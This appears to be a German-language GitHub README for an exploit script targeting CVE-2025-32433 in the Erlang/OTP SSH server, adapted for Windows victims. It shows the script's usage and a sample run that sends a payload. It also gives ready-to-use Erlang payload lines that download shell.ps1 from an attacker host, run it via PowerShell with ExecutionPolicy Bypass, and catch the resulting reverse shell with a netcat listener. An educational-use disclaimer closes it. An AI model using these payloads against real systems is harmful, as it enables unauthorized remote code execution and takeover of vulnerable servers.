blackcat4347/cve-2025-32433-available-for-windowsCVE-2025-32433-verfügbar für Windows-Opfer
Informationen zur Sicherheitslücke: https://nvd.nist.gov/vuln/detail/CVE-2025-32433
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -h
usage: cve-2025-32433.py [-h] [-d] [--host HOST] [--port PORT]
Exploit for CVE-2025-32433 (Erlang OTP SSH server).
options:
-h, --help show this help message and exit
-d, --debug Print raw response in hex format
-t, --target TARGET Target host (default: 127.0.0.1)
-p, --port PORT Target port (default: 2222)
kdev :: ~/erlang/CVE-2025-32433 ‹main*› » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: your command
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
Payload abrufen
inets:start(), {ok, {_, _, Body}} = httpc:request("http://ip_attack/shell.ps1"), file:write_file("C:/Users/Public/shell.ps1", Body).
Erstelle eine Netcat-Listener-Sitzung und führe den Befehl aus.
os:cmd("powershell.exe -ExecutionPolicy Bypass -File C:/Users/Public/shell.ps1").
Dieses Tool dient nur zu Bildungszwecken und autorisierten Sicherheitstests. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Skript verursacht werden.